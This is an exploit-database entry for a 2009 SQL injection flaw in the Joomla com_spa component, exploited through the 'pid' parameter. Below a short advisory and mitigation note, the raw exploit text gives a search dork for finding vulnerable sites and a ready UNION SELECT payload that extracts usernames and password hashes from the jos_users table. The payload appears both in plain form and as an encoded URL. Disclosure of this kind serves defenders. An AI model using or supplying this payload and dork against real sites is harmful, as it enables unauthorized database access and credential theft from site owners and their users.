Joomla Component com_spa SQL Injection Vulnerability

vendor:

com_spa

by:

altbta

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: com_spa

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: Yes

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Joomla Component com_spa SQL Injection Vulnerability

A vulnerability exists in Joomla Component com_spa, which allows an attacker to inject malicious SQL commands via the 'pid' parameter in the 'index.php' script. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable script. This can result in the disclosure of sensitive information from the database, such as usernames and passwords.

Mitigation:

The vendor has released an update to address this vulnerability. Users are advised to update to the latest version.

Source

Exploit-DB raw data:

====================================================
Joomla Component com_spa SQL Injection Vulnerability
====================================================

Author :   altbta
Email  : [l_9[at]hotmail[dot]com]
Homepage : { www.xp10.com/xp10 }
DORK    :  inurl:"index.php?option=com_spa"
===================================================

[+] Vulnerable File :
http://www.site.com/index.php?option=com_spa&view=spa_read_more&pid=[SQL]

[+] ExploiT :
-35 UNION SELECT 1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13
from jos_users--

[+] Example :
http://www.site.com/index.php?option=com_spa&view=spa_read_more&pid=-35UNION
SELECT 1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13 from
jos_users--

[+] Demo :
http://www.site.com/index.php?option=com_spa&view=spa_read_more&pid=-35%20UNION%20SELECT%201,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13%20from%20jos_users--